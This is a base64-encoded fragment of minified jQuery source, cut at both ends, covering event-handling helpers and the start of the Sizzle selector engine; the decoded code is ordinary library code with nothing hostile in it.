YsZyxoPWMuYnV0dG9uLGk9Yy5mcm9tRWxlbWVudDtyZXR1cm4gYS5wYWdlWD09bnVsbCYmYy5jbGllbnRYIT1udWxsJiYoZD1hLnRhcmdldC5vd25lckRvY3VtZW50fHxlLGY9ZC5kb2N1bWVudEVsZW1lbnQsZz1kLmJvZHksYS5wYWdlWD1jLmNsaWVudFgrKGYmJmYuc2Nyb2xsTGVmdHx8ZyYmZy5zY3JvbGxMZWZ0fHwwKS0oZiYmZi5jbGllbnRMZWZ0fHxnJiZnLmNsaWVudExlZnR8fDApLGEucGFnZVk9Yy5jbGllbnRZKyhmJiZmLnNjcm9sbFRvcHx8ZyYmZy5zY3JvbGxUb3B8fDApLShmJiZmLmNsaWVudFRvcHx8ZyYmZy5jbGllbnRUb3B8fDApKSwhYS5yZWxhdGVkVGFyZ2V0JiZpJiYoYS5yZWxhdGVkVGFyZ2V0PWk9PT1hLnRhcmdldD9jLnRvRWxlbWVudDppKSwhYS53aGljaCYmaCE9PWImJihhLndoaWNoPWgmMT8xOmgmMj8zOmgmND8yOjApLGF9fSxmaXg6ZnVuY3Rpb24oYSl7aWYoYVtwLmV4cGFuZG9dKXJldHVybiBhO3ZhciBiLGMsZD1hLGY9cC5ldmVudC5maXhIb29rc1thLnR5cGVdfHx7fSxnPWYucHJvcHM/dGhpcy5wcm9wcy5jb25jYXQoZi5wcm9wcyk6dGhpcy5wcm9wczthPXAuRXZlbnQoZCk7Zm9yKGI9Zy5sZW5ndGg7YjspYz1nWy0tYl0sYVtjXT1kW2NdO3JldHVybiBhLnRhcmdldHx8KGEudGFyZ2V0PWQuc3JjRWxlbWVudHx8ZSksYS50YXJnZXQubm9kZVR5cGU9PT0zJiYoYS50YXJnZXQ9YS50YXJnZXQucGFyZW50Tm9kZSksYS5tZXRhS2V5PSEhYS5tZXRhS2V5LGYuZmlsdGVyP2YuZmlsdGVyKGEsZCk6YX0sc3BlY2lhbDp7bG9hZDp7bm9CdWJibGU6ITB9LGZvY3VzOntkZWxlZ2F0ZVR5cGU6ImZvY3VzaW4ifSxibHVyOntkZWxlZ2F0ZVR5cGU6ImZvY3Vzb3V0In0sYmVmb3JldW5sb2FkOntzZXR1cDpmdW5jdGlvbihhLGIsYyl7cC5pc1dpbmRvdyh0aGlzKSYmKHRoaXMub25iZWZvcmV1bmxvYWQ9Yyl9LHRlYXJkb3duOmZ1bmN0aW9uKGEsYil7dGhpcy5vbmJlZm9yZXVubG9hZD09PWImJih0aGlzLm9uYmVmb3JldW5sb2FkPW51bGwpfX19LHNpbXVsYXRlOmZ1bmN0aW9uKGEsYixjLGQpe3ZhciBlPXAuZXh0ZW5kKG5ldyBwLkV2ZW50LGMse3R5cGU6YSxpc1NpbXVsYXRlZDohMCxvcmlnaW5hbEV2ZW50Ont9fSk7ZD9wLmV2ZW50LnRyaWdnZXIoZSxudWxsLGIpOnAuZXZlbnQuZGlzcGF0Y2guY2FsbChiLGUpLGUuaXNEZWZhdWx0UHJldmVudGVkKCkmJmMucHJldmVudERlZmF1bHQoKX19LHAuZXZlbnQuaGFuZGxlPXAuZXZlbnQuZGlzcGF0Y2gscC5yZW1vdmVFdmVudD1lLnJlbW92ZUV2ZW50TGlzdGVuZXI/ZnVuY3Rpb24oYSxiLGMpe2EucmVtb3ZlRXZlbnRMaXN0ZW5lciYmYS5yZW1vdmVFdmVudExpc3RlbmVyKGIsYywhMSl9OmZ1bmN0aW9uKGEsYixjKXt2YXIgZD0ib24iK2I7YS5kZXRhY2hFdmVudCYmKHR5cGVvZiBhW2RdPT0idW5kZWZpbmVkIiYmKGFbZF09bnVsbCksYS5kZXRhY2hFdmVudChkLGMpKX0scC5FdmVudD1mdW5jdGlvbihhLGIpe2lmKHRoaXMgaW5zdGFuY2VvZiBwLkV2ZW50KWEmJmEudHlwZT8odGhpcy5vcmlnaW5hbEV2ZW50PWEsdGhpcy50eXBlPWEudHlwZSx0aGlzLmlzRGVmYXVsdFByZXZlbnRlZD1hLmRlZmF1bHRQcmV2ZW50ZWR8fGEucmV0dXJuVmFsdWU9PT0hMXx8YS5nZXRQcmV2ZW50RGVmYXVsdCYmYS5nZXRQcmV2ZW50RGVmYXVsdCgpP2JiOmJhKTp0aGlzLnR5cGU9YSxiJiZwLmV4dGVuZCh0aGlzLGIpLHRoaXMudGltZVN0YW1wPWEmJmEudGltZVN0YW1wfHxwLm5vdygpLHRoaXNbcC5leHBhbmRvXT0hMDtlbHNlIHJldHVybiBuZXcgcC5FdmVudChhLGIpfSxwLkV2ZW50LnByb3RvdHlwZT17cHJldmVudERlZmF1bHQ6ZnVuY3Rpb24oKXt0aGlzLmlzRGVmYXVsdFByZXZlbnRlZD1iYjt2YXIgYT10aGlzLm9yaWdpbmFsRXZlbnQ7aWYoIWEpcmV0dXJuO2EucHJldmVudERlZmF1bHQ/YS5wcmV2ZW50RGVmYXVsdCgpOmEucmV0dXJuVmFsdWU9ITF9LHN0b3BQcm9wYWdhdGlvbjpmdW5jdGlvbigpe3RoaXMuaXNQcm9wYWdhdGlvblN0b3BwZWQ9YmI7dmFyIGE9dGhpcy5vcmlnaW5hbEV2ZW50O2lmKCFhKXJldHVybjthLnN0b3BQcm9wYWdhdGlvbiYmYS5zdG9wUHJvcGFnYXRpb24oKSxhLmNhbmNlbEJ1YmJsZT0hMH0sc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uOmZ1bmN0aW9uKCl7dGhpcy5pc0ltbWVkaWF0ZVByb3BhZ2F0aW9uU3RvcHBlZD1iYix0aGlzLnN0b3BQcm9wYWdhdGlvbigpfSxpc0RlZmF1bHRQcmV2ZW50ZWQ6YmEsaXNQcm9wYWdhdGlvblN0b3BwZWQ6YmEsaXNJbW1lZGlhdGVQcm9wYWdhdGlvblN0b3BwZWQ6YmF9LHAuZWFjaCh7bW91c2VlbnRlcjoibW91c2VvdmVyIixtb3VzZWxlYXZlOiJtb3VzZW91dCJ9LGZ1bmN0aW9uKGEsYil7cC5ldmVudC5zcGVjaWFsW2FdPXtkZWxlZ2F0ZVR5cGU6YixiaW5kVHlwZTpiLGhhbmRsZTpmdW5jdGlvbihhKXt2YXIgYyxkPXRoaXMsZT1hLnJlbGF0ZWRUYXJnZXQsZj1hLmhhbmRsZU9iaixnPWYuc2VsZWN0b3I7aWYoIWV8fGUhPT1kJiYhcC5jb250YWlucyhkLGUpKWEudHlwZT1mLm9yaWdUeXBlLGM9Zi5oYW5kbGVyLmFwcGx5KHRoaXMsYXJndW1lbnRzKSxhLnR5cGU9YjtyZXR1cm4gY319fSkscC5zdXBwb3J0LnN1Ym1pdEJ1YmJsZXN8fChwLmV2ZW50LnNwZWNpYWwuc3VibWl0PXtzZXR1cDpmdW5jdGlvbigpe2lmKHAubm9kZU5hbWUodGhpcywiZm9ybSIpKXJldHVybiExO3AuZXZlbnQuYWRkKHRoaXMsImNsaWNrLl9zdWJtaXQga2V5cHJlc3MuX3N1Ym1pdCIsZnVuY3Rpb24oYSl7dmFyIGM9YS50YXJnZXQsZD1wLm5vZGVOYW1lKGMsImlucHV0Iil8fHAubm9kZU5hbWUoYywiYnV0dG9uIik/Yy5mb3JtOmI7ZCYmIXAuX2RhdGEoZCwiX3N1Ym1pdF9hdHRhY2hlZCIpJiYocC5ldmVudC5hZGQoZCwic3VibWl0Ll9zdWJtaXQiLGZ1bmN0aW9uKGEpe2EuX3N1Ym1pdF9idWJibGU9ITB9KSxwLl9kYXRhKGQsIl9zdWJtaXRfYXR0YWNoZWQiLCEwKSl9KX0scG9zdERpc3BhdGNoOmZ1bmN0aW9uKGEpe2EuX3N1Ym1pdF9idWJibGUmJihkZWxldGUgYS5fc3VibWl0X2J1YmJsZSx0aGlzLnBhcmVudE5vZGUmJiFhLmlzVHJpZ2dlciYmcC5ldmVudC5zaW11bGF0ZSgic3VibWl0Iix0aGlzLnBhcmVudE5vZGUsYSwhMCkpfSx0ZWFyZG93bjpmdW5jdGlvbigpe2lmKHAubm9kZU5hbWUodGhpcywiZm9ybSIpKXJldHVybiExO3AuZXZlbnQucmVtb3ZlKHRoaXMsIi5fc3VibWl0Iil9fSkscC5zdXBwb3J0LmNoYW5nZUJ1YmJsZXN8fChwLmV2ZW50LnNwZWNpYWwuY2hhbmdlPXtzZXR1cDpmdW5jdGlvbigpe2lmKFYudGVzdCh0aGlzLm5vZGVOYW1lKSl7aWYodGhpcy50eXBlPT09ImNoZWNrYm94Inx8dGhpcy50eXBlPT09InJhZGlvIilwLmV2ZW50LmFkZCh0aGlzLCJwcm9wZXJ0eWNoYW5nZS5fY2hhbmdlIixmdW5jdGlvbihhKXthLm9yaWdpbmFsRXZlbnQucHJvcGVydHlOYW1lPT09ImNoZWNrZWQiJiYodGhpcy5fanVzdF9jaGFuZ2VkPSEwKX0pLHAuZXZlbnQuYWRkKHRoaXMsImNsaWNrLl9jaGFuZ2UiLGZ1bmN0aW9uKGEpe3RoaXMuX2p1c3RfY2hhbmdlZCYmIWEuaXNUcmlnZ2VyJiYodGhpcy5fanVzdF9jaGFuZ2VkPSExKSxwLmV2ZW50LnNpbXVsYXRlKCJjaGFuZ2UiLHRoaXMsYSwhMCl9KTtyZXR1cm4hMX1wLmV2ZW50LmFkZCh0aGlzLCJiZWZvcmVhY3RpdmF0ZS5fY2hhbmdlIixmdW5jdGlvbihhKXt2YXIgYj1hLnRhcmdldDtWLnRlc3QoYi5ub2RlTmFtZSkmJiFwLl9kYXRhKGIsIl9jaGFuZ2VfYXR0YWNoZWQiKSYmKHAuZXZlbnQuYWRkKGIsImNoYW5nZS5fY2hhbmdlIixmdW5jdGlvbihhKXt0aGlzLnBhcmVudE5vZGUmJiFhLmlzU2ltdWxhdGVkJiYhYS5pc1RyaWdnZXImJnAuZXZlbnQuc2ltdWxhdGUoImNoYW5nZSIsdGhpcy5wYXJlbnROb2RlLGEsITApfSkscC5fZGF0YShiLCJfY2hhbmdlX2F0dGFjaGVkIiwhMCkpfSl9LGhhbmRsZTpmdW5jdGlvbihhKXt2YXIgYj1hLnRhcmdldDtpZih0aGlzIT09Ynx8YS5pc1NpbXVsYXRlZHx8YS5pc1RyaWdnZXJ8fGIudHlwZSE9PSJyYWRpbyImJmIudHlwZSE9PSJjaGVja2JveCIpcmV0dXJuIGEuaGFuZGxlT2JqLmhhbmRsZXIuYXBwbHkodGhpcyxhcmd1bWVudHMpfSx0ZWFyZG93bjpmdW5jdGlvbigpe3JldHVybiBwLmV2ZW50LnJlbW92ZSh0aGlzLCIuX2NoYW5nZSIpLCFWLnRlc3QodGhpcy5ub2RlTmFtZSl9fSkscC5zdXBwb3J0LmZvY3VzaW5CdWJibGVzfHxwLmVhY2goe2ZvY3VzOiJmb2N1c2luIixibHVyOiJmb2N1c291dCJ9LGZ1bmN0aW9uKGEsYil7dmFyIGM9MCxkPWZ1bmN0aW9uKGEpe3AuZXZlbnQuc2ltdWxhdGUoYixhLnRhcmdldCxwLmV2ZW50LmZpeChhKSwhMCl9O3AuZXZlbnQuc3BlY2lhbFtiXT17c2V0dXA6ZnVuY3Rpb24oKXtjKys9PT0wJiZlLmFkZEV2ZW50TGlzdGVuZXIoYSxkLCEwKX0sdGVhcmRvd246ZnVuY3Rpb24oKXstLWM9PT0wJiZlLnJlbW92ZUV2ZW50TGlzdGVuZXIoYSxkLCEwKX19fSkscC5mbi5leHRlbmQoe29uOmZ1bmN0aW9uKGEsYyxkLGUsZil7dmFyIGcsaDtpZih0eXBlb2YgYT09Im9iamVjdCIpe3R5cGVvZiBjIT0ic3RyaW5nIiYmKGQ9ZHx8YyxjPWIpO2ZvcihoIGluIGEpdGhpcy5vbihoLGMsZCxhW2hdLGYpO3JldHVybiB0aGlzfWQ9PW51bGwmJmU9PW51bGw/KGU9YyxkPWM9Yik6ZT09bnVsbCYmKHR5cGVvZiBjPT0ic3RyaW5nIj8oZT1kLGQ9Yik6KGU9ZCxkPWMsYz1iKSk7aWYoZT09PSExKWU9YmE7ZWxzZSBpZighZSlyZXR1cm4gdGhpcztyZXR1cm4gZj09PTEmJihnPWUsZT1mdW5jdGlvbihhKXtyZXR1cm4gcCgpLm9mZihhKSxnLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0sZS5ndWlkPWcuZ3VpZHx8KGcuZ3VpZD1wLmd1aWQrKykpLHRoaXMuZWFjaChmdW5jdGlvbigpe3AuZXZlbnQuYWRkKHRoaXMsYSxlLGQsYyl9KX0sb25lOmZ1bmN0aW9uKGEsYixjLGQpe3JldHVybiB0aGlzLm9uKGEsYixjLGQsMSl9LG9mZjpmdW5jdGlvbihhLGMsZCl7dmFyIGUsZjtpZihhJiZhLnByZXZlbnREZWZhdWx0JiZhLmhhbmRsZU9iailyZXR1cm4gZT1hLmhhbmRsZU9iaixwKGEuZGVsZWdhdGVUYXJnZXQpLm9mZihlLm5hbWVzcGFjZT9lLm9yaWdUeXBlKyIuIitlLm5hbWVzcGFjZTplLm9yaWdUeXBlLGUuc2VsZWN0b3IsZS5oYW5kbGVyKSx0aGlzO2lmKHR5cGVvZiBhPT0ib2JqZWN0Iil7Zm9yKGYgaW4gYSl0aGlzLm9mZihmLGMsYVtmXSk7cmV0dXJuIHRoaXN9aWYoYz09PSExfHx0eXBlb2YgYz09ImZ1bmN0aW9uIilkPWMsYz1iO3JldHVybiBkPT09ITEmJihkPWJhKSx0aGlzLmVhY2goZnVuY3Rpb24oKXtwLmV2ZW50LnJlbW92ZSh0aGlzLGEsZCxjKX0pfSxiaW5kOmZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gdGhpcy5vbihhLG51bGwsYixjKX0sdW5iaW5kOmZ1bmN0aW9uKGEsYil7cmV0dXJuIHRoaXMub2ZmKGEsbnVsbCxiKX0sbGl2ZTpmdW5jdGlvbihhLGIsYyl7cmV0dXJuIHAodGhpcy5jb250ZXh0KS5vbihhLHRoaXMuc2VsZWN0b3IsYixjKSx0aGlzfSxkaWU6ZnVuY3Rpb24oYSxiKXtyZXR1cm4gcCh0aGlzLmNvbnRleHQpLm9mZihhLHRoaXMuc2VsZWN0b3J8fCIqKiIsYiksdGhpc30sZGVsZWdhdGU6ZnVuY3Rpb24oYSxiLGMsZCl7cmV0dXJuIHRoaXMub24oYixhLGMsZCl9LHVuZGVsZWdhdGU6ZnVuY3Rpb24oYSxiLGMpe3JldHVybiBhcmd1bWVudHMubGVuZ3RoPT09MT90aGlzLm9mZihhLCIqKiIpOnRoaXMub2ZmKGIsYXx8IioqIixjKX0sdHJpZ2dlcjpmdW5jdGlvbihhLGIpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtwLmV2ZW50LnRyaWdnZXIoYSxiLHRoaXMpfSl9LHRyaWdnZXJIYW5kbGVyOmZ1bmN0aW9uKGEsYil7aWYodGhpc1swXSlyZXR1cm4gcC5ldmVudC50cmlnZ2VyKGEsYix0aGlzWzBdLCEwKX0sdG9nZ2xlOmZ1bmN0aW9uKGEpe3ZhciBiPWFyZ3VtZW50cyxjPWEuZ3VpZHx8cC5ndWlkKyssZD0wLGU9ZnVuY3Rpb24oYyl7dmFyIGU9KHAuX2RhdGEodGhpcywibGFzdFRvZ2dsZSIrYS5ndWlkKXx8MCklZDtyZXR1cm4gcC5fZGF0YSh0aGlzLCJsYXN0VG9nZ2xlIithLmd1aWQsZSsxKSxjLnByZXZlbnREZWZhdWx0KCksYltlXS5hcHBseSh0aGlzLGFyZ3VtZW50cyl8fCExfTtlLmd1aWQ9Yzt3aGlsZShkPGIubGVuZ3RoKWJbZCsrXS5ndWlkPWM7cmV0dXJuIHRoaXMuY2xpY2soZSl9LGhvdmVyOmZ1bmN0aW9uKGEsYil7cmV0dXJuIHRoaXMubW91c2VlbnRlcihhKS5tb3VzZWxlYXZlKGJ8fGEpfX0pLHAuZWFjaCgiYmx1ciBmb2N1cyBmb2N1c2luIGZvY3Vzb3V0IGxvYWQgcmVzaXplIHNjcm9sbCB1bmxvYWQgY2xpY2sgZGJsY2xpY2sgbW91c2Vkb3duIG1vdXNldXAgbW91c2Vtb3ZlIG1vdXNlb3ZlciBtb3VzZW91dCBtb3VzZWVudGVyIG1vdXNlbGVhdmUgY2hhbmdlIHNlbGVjdCBzdWJtaXQga2V5ZG93biBrZXlwcmVzcyBrZXl1cCBlcnJvciBjb250ZXh0bWVudSIuc3BsaXQoIiAiKSxmdW5jdGlvbihhLGIpe3AuZm5bYl09ZnVuY3Rpb24oYSxjKXtyZXR1cm4gYz09bnVsbCYmKGM9YSxhPW51bGwpLGFyZ3VtZW50cy5sZW5ndGg+MD90aGlzLm9uKGIsbnVsbCxhLGMpOnRoaXMudHJpZ2dlcihiKX0sWS50ZXN0KGIpJiYocC5ldmVudC5maXhIb29rc1tiXT1wLmV2ZW50LmtleUhvb2tzKSxaLnRlc3QoYikmJihwLmV2ZW50LmZpeEhvb2tzW2JdPXAuZXZlbnQubW91c2VIb29rcyl9KSxmdW5jdGlvbihhLGIpe2Z1bmN0aW9uIGJjKGEsYixjLGQpe2M9Y3x8W10sYj1ifHxyO3ZhciBlLGYsaSxqLGs9Yi5ub2RlVHlwZTtpZighYXx8dHlwZW9mIGEhPSJzdHJpbmciKXJldHVybiBjO2lmKGshPT0xJiZrIT09OSlyZXR1cm5bXTtpPWcoYik7aWYoIWkmJiFkKWlmKGU9UC5leGVjKGEpKWlmKGo9ZVsxXSl7aWYoaz09PTkpe2Y9Yi5nZXRFbGVtZW50QnlJZChqKTtpZighZnx8IWYucGFyZW50Tm9kZSlyZXR1cm4gYztpZihmLmlkPT09ailyZXR1cm4gYy5wdXNoKGYpLGN9ZWxzZSBpZihiLm93bmVyRG9jdW1lbnQmJihmPWIub3duZXJEb2N1bWVudC5nZXRFbGVtZW50QnlJZChqKSkmJmgoYixmKSYmZi5pZD09PWopcmV0dXJuIGMucHVzaChmKSxjfWVsc2V7aWYoZVsyXSlyZXR1cm4gdy5hcHBseShjLHguY2FsbChiLmdldEVsZW1lbnRzQnlUYWdOYW1lKGEpLDApKSxjO2lmKChqPWVbM10pJiZfJiZiLmdldEVsZW1lbnRzQnlDbGFzc05hbWUpcmV0dXJuIHcuYXBwbHkoYyx4LmNhbGwoYi5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGopLDApKSxjfXJldHVybiBicChhLnJlcGxhY2UoTCwiJDEiKSxiLGMsZCxpKX1mdW5jdGlvbiBiZChhKXtyZXR1cm4gZnVuY3Rpb24oYil7dmFyIGM9Yi5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpO3JldHVybiBjPT09ImlucHV0IiYmYi50eXBlPT09YX19ZnVuY3Rpb24gYmUoYSl7cmV0dXJuIGZ1bmN0aW9uKGIpe3ZhciBjPWIubm9kZU5hbWUudG9Mb3dlckNhc2UoKTtyZXR1cm4oYz09PSJpbnB1dCJ8fGM9PT0iYnV0dG9uIikmJmIudHlwZT09PWF9fWZ1bmN0aW9uIGJmKGEpe3JldHVybiB6KGZ1bmN0aW9uKGIpe3JldHVybiBiPStiLHooZnVuY3Rpb24oYyxkKXt2YXIgZSxmPWEoW10sYy5sZW5ndGgsYiksZz1mLmxlbmd0aDt3aGlsZShnLS0pY1tlPWZbZ11dJiYoY1tlXT0hKGRbZV09Y1tlXSkpfSl9KX1mdW5jdGlvbiBiZyhhLGIsYyl7aWYoYT09PWIpcmV0dXJuIGM7dmFyIGQ9YS5uZXh0U2libGluZzt3aGlsZShkKXtpZihkPT09YilyZXR1cm4tMTtkPWQubmV4dFNpYmxpbmd9cmV0dXJuIDF9ZnVuY3Rpb24gYmgoYSxiKXt2YXIgYyxkLGYsZyxoLGksaixrPUNbb11bYV07aWYoaylyZXR1cm4gYj8wOmsuc2xpY2UoMCk7aD1hLGk9W10saj1lLnByZUZpbHRlcjt3aGlsZShoKXtpZighY3x8KGQ9TS5leGVjKGgpKSlkJiYoaD1oLnNsaWNlKGRbMF0ubGVuZ3RoKSksaS5wdXNoKGY9W10pO2M9ITE7aWYoZD1OLmV4ZWMoaCkpZi5wdXNoKGM9bmV3IHEoZC5zaGlmdCgpKSksaD1oLnNsaWNlKGMubGVuZ3RoKSxjLnR5cGU9ZFswXS5yZXBsYWNlKEwsIiAiKTtmb3IoZyBpbiBlLmZpbHRlcikoZD1XW2ddLmV4ZWMoaCkpJiYoIWpbZ118fChkPWpbZ10oZCxyLCEwKSkpJiYoZi5wdXNoKGM9bmV3IHEoZC5zaGlmdCgpKSksaD1oLnNsaWNlKGMubGVuZ3RoKSxjLnR5cGU9ZyxjLm1hdGNoZXM9ZCk7aWYoIWMpYnJlYWt9cmV0dXJuIGI/aC5sZW5ndGg6aD9iYy5lcnJvcihhKTpDKGEsaSkuc2xpY2UoMCl9ZnVuY3Rpb24gYmkoYSxiLGQpe3ZhciBlPWIuZGlyLGY9ZCYmYi5kaXI9PT0icGFyZW50Tm9kZSIsZz11Kys7cmV0dXJuIGIuZmlyc3Q/ZnVuY3Rpb24oYixjLGQpe3doaWxlKGI9YltlXSlpZihmfHxiLm5vZGVUeXBlPT09MSlyZXR1cm4gYShiLGMsZCl9OmZ1bmN0aW9uKGIsZCxoKXtpZighaCl7dmFyIGksaj10KyIgIitnKyIgIixrPWorYzt3aGlsZShiPWJbZV0paWYoZnx8Yi5ub2RlVHlwZT09PTEpe2lmKChpPWJbb10pPT09aylyZXR1cm4gYi5zaXpzZXQ7aWYodHlwZW9mIGk9PSJzdHJpbmciJiZpLmluZGV4T2Yoaik9PT0wKXtpZihiLnNpenNldClyZXR1cm4gYn1lbHNle2Jbb109aztpZihhKGIsZCxoKSlyZXR1cm4gYi5zaXpzZXQ9ITAsYjtiLnNpenNldD0hMX19fWVsc2Ugd2hpbGUoYj1iW2VdKWlmKGZ8fGIubm9kZVR5cGU9PT0xKWlmKGEoYixkLGgpKXJldHVybiBifX1mdW5jdGlvbiBiaihhKXtyZXR1cm4gYS5sZW5ndGg+MT9mdW5jdGlvbihiLGMsZCl7dmFyIGU9YS5sZW5ndGg7d2hpbGUoZS0tKWlmKCFhW2VdKGIsYyxkKSlyZXR1cm4hMTtyZXR1cm4hMH06YVswXX1mdW5jdGlvbiBiayhhLGIsYyxkLGUpe3ZhciBmLGc9W10saD0wLGk9YS5sZW5ndGgsaj1iIT1udWxsO2Zvcig7aDxpO2grKylpZihmPWFbaF0paWYoIWN8fGMoZixkLGUpKWcucHVzaChmKSxqJiZiLnB1c2goaCk7cmV0dXJuIGd9ZnVuY3Rpb24gYmwoYSxiLGMsZCxlLGYpe3JldHVybiBkJiYhZFtvXSYmKGQ9YmwoZCkpLGUmJiFlW29dJiYoZT1ibChlLGYpKSx6KGZ1bmN0aW9uKGYsZyxoLGkpe2lmKGYmJmUpcmV0dXJuO3ZhciBqLGssbCxtPVtdLG49W10sbz1nLmxlbmd0aCxwPWZ8fGJvKGJ8fCIqIixoLm5vZGVUeXBlP1toXTpoLFtdLGYpLHE9YSYmKGZ8fCFiKT9iayhwLG0sYSxoLGkpOnAscj1jP2V8fChmP2E6b3x8ZCk/W106ZzpxO2MmJmMocSxyLGgsaSk7aWYoZCl7bD1iayhyLG4pLGQobCxbXSxoLGkpLGo9bC5sZW5ndGg7d2hpbGUoai0tKWlmKGs9bFtqXSlyW25bal1dPSEocVtuW2pdXT1rKX1pZihmKXtqPWEmJnIubGVuZ3RoO3doaWxlKGotLSlpZihrPXJbal0pZlttW2pdXT0hKGdbbVtqXV09ayl9ZWxzZSByPWJrKHI9PT1nP3Iuc3BsaWNlKG8sci5sZW5ndGgpOnIpLGU/ZShudWxsLGcscixpKTp3LmFwcGx5KGcscil9KX1mdW5jdGlvbiBibShhKXt2YXIgYixjLGQsZj1hLmxlbmd0aCxnPWUucmVsYXRpdmVbYVswXS50eXBlXSxoPWd8fGUucmVsYXRpdmVbIiAiXSxpPWc/MTowLGo9YmkoZnVuY3Rpb24oYSl7cmV0dXJuIGE9PT1ifSxoLCEwKSxrPWJpKGZ1bmN0aW9uKGEpe3JldHVybiB5LmNhbGwoYixhKT4tMX0saCwhMCksbT1bZnVuY3Rpb24oYSxjLGQpe3JldHVybiFnJiYoZHx8YyE9PWwpfHwoKGI9Yykubm9kZVR5cGU/aihhLGMsZCk6ayhhLGMsZCkpfV07Zm9yKDtpPGY7aSsrKWlmKGM9ZS5yZWxhdGl2ZVthW2ldLnR5cGVdKW09W2JpKGJqKG0pLGMpXTtlbHNle2M9ZS5maWx0ZXJbYVtpXS50eXBlXS5hcHBseShudWxsLGFbaV0ubWF0Y2hlcyk7aWYoY1tvXSl7ZD0rK2k7Zm9yKDtkPGY7ZCsrKWlmKGUucmVsYXRpdmVbYVtkXS50eXBlXSlicmVhaztyZXR1cm4gYmwoaT4xJiZiaihtKSxpPjEmJmEuc2xpY2UoMCxpLTEpLmpvaW4oIiIpLnJlcGxhY2UoTCwiJDEiKSxjLGk8ZCYmYm0oYS5zbGljZShpLGQpKSxkPGYmJmJtKGE9YS5zbGljZShkKSksZDxmJiZhLmpvaW4oIiIpKX1tLnB1c2goYyl9cmV0dXJuIGJqKG0pfWZ1bmN0aW9uIGJuKGEsYil7dmFyIGQ9Yi5sZW5ndGg+MCxmPWEubGVuZ3RoPjAsZz1mdW5jdGlvbihoLGksaixrLG0pe3ZhciBuLG8scCxxPVtdLHM9MCx1PSIwIix4PWgmJltdLHk9bSE9bnVsbCx6PWwsQT1ofHxmJiZlLmZpbmQuVEFHKCIqIixtJiZpLnBhcmVudE5vZGV8fGkpLEI9dCs9ej09bnVsbD8xOk1hdGguRTt5JiYobD1pIT09ciYmaSxjPWcuZWwpO2Zvcig7KG49QVt1XSkhPW51bGw7dSsrKXtpZihmJiZuKXtmb3Iobz0wO3A9YVtvXTtvKyspaWYocChuLGksaikpe2sucHVzaChuKTticmVha315JiYodD1CLGM9KytnLmVsKX1kJiYoKG49IXAmJm4pJiZzLS0saCYmeC5wdXNoKG4pKX1zKz11O2lmKGQmJnUhPT1zKXtmb3Iobz0wO3A9YltvXTtvKyspcCh4LHEsaSxqKTtpZihoKXtpZihzPjApd2hpbGUodS0tKSF4W3VdJiYhcVt1XSYmKHFbdV09di5jYWxsKGspKTtxPWJrKHEpfXcuYXBwbHkoayxxKSx5JiYhaCYmcS5sZW5ndGg+MCYmcytiLmxlbmd0aD4xJiZiYy51bmlxdWVTb3J0KGspfXJldHVybiB5JiYodD1CLGw9eikseH07cmV0dXJuIGcuZWw9MCxkP3ooZyk6Z31mdW5jdGlvbiBibyhhLGIsYyxkKXt2YXIgZT0wLGY9Yi5sZW5ndGg7Zm9yKDtlPGY7ZSsrKWJjKGEsYltlXSxjLGQpO3JldHVybiBjfWZ1bmN0aW9uIGJwKGEsYixjLGQsZil7dmFyIGcsaCxqLGssbCxtPWJoKGEpLG49bS5sZW5ndGg7aWYoIWQmJm0ubGVuZ3RoPT09MSl7aD1tWzBdPW1bMF0uc2xpY2UoMCk7aWYoaC5sZW5ndGg+MiYmKGo9aFswXSkudHlwZT09PSJJRCImJmIubm9kZVR5cGU9PT05JiYhZiYmZS5yZWxhdGl2ZVtoWzFdLnR5cGVdKXtiPWUuZmluZC5JRChqLm1hdGNoZXNbMF0ucmVwbGFjZShWLCIiKSxiLGYpWzBdO2lmKCFiKXJldHVybiBjO2E9YS5zbGljZShoLnNoaWZ0KCkubGVuZ3RoKX1mb3IoZz1XLlBPUy50ZXN0KGEpPy0xOmgubGVuZ3RoLTE7Zz49MDtnLS0pe2o9aFtnXTtpZihlLnJlbGF0aXZlW2s9ai50eXBlXSlicmVhaztpZihsPWUuZmluZFtrXSlpZihkPWwoai5tYXRjaGVzWzBdLnJlcGxhY2UoViwiIiksUi50ZXN0KGhbMF0udHlwZSkmJmIucGFyZW50Tm9kZXx8YixmKSl7aC5zcGxpY2UoZywxKSxhPWQubGVuZ3RoJiZoLmpvaW4oIiIpO2lmKCFhKXJldHVybiB3LmFwcGx5KGMseC5jYWxsKGQsMCkpLGM7YnJlYWt9fX1yZXR1cm4gaShhLG0pKGQsYixmLGMsUi50ZXN0KGEpKSxjfWZ1bmN0aW9uIGJxKCl7fXZhciBjLGQsZSxmLGcsaCxpLGosayxsLG09ITAsbj0idW5kZWZpbmVkIixvPSgic2l6Y2FjaGUiK01hdGgucmFuZG9tKCkpLnJlcGxhY2UoIi4iLCIiKSxxPVN0cmluZyxyPWEuZG9jdW1lbnQscz1yLmRvY3VtZW50RWxlbWVudCx0PTAsdT0wLHY9W10ucG9wLHc9W10ucHVzaCx4PVtdLnNsaWNlLHk9W10uaW5kZXhPZnx8ZnVuY3Rpb24oYSl7dmFyIGI9MCxjPXRoaXMubGVuZ3RoO2Zvcig7YjxjO2IrKylpZih0aGlzW2JdPT09YSlyZXR1cm4gYjtyZXR1cm4tMX0sej1mdW5jdGlvbihhLGIpe3JldHVybiBhW29dPWI9PW51bGx8fGIsYX0sQT1mdW5jdGlvbigpe3ZhciBhPXt9LGI9W107cmV0dXJuIHooZnVuY3Rpb24oYyxkKXtyZXR1cm4gYi5wdXNoKGMpPmUuY2FjaGVMZW5ndGgmJmRlbGV0ZSBhW2Iuc2hpZnQoKV0sYVtjXT1kfSxhKX0sQj1BKCksQz1BKCksRD1BKCksRT0iW1xceDIwXFx0XFxyXFxuXFxmXSIsRj0iKD86XFxcXC58Wy1cXHddfFteXFx4MDAtXFx4YTBdKSsiLEc9Ri5yZXBsYWNlKCJ3IiwidyMiKSxIPSIoWypeJHwhfl0/PSkiLEk9IlxcWyIrRSsiKigiK0YrIikiK0UrIiooPzoiK0grRSsiKig/OihbJ1wiXSkoKD86XFxcXC58W15cXFxcXSkqPylcXDN8KCIrRysiKXwpfCkiK0UrIipcXF0iLEo9IjooIitGKyIpKD86XFwoKD86KFsnXCJdKSgoPzpcXFxcLnxbXlxcXFxdKSo/KVxcMnw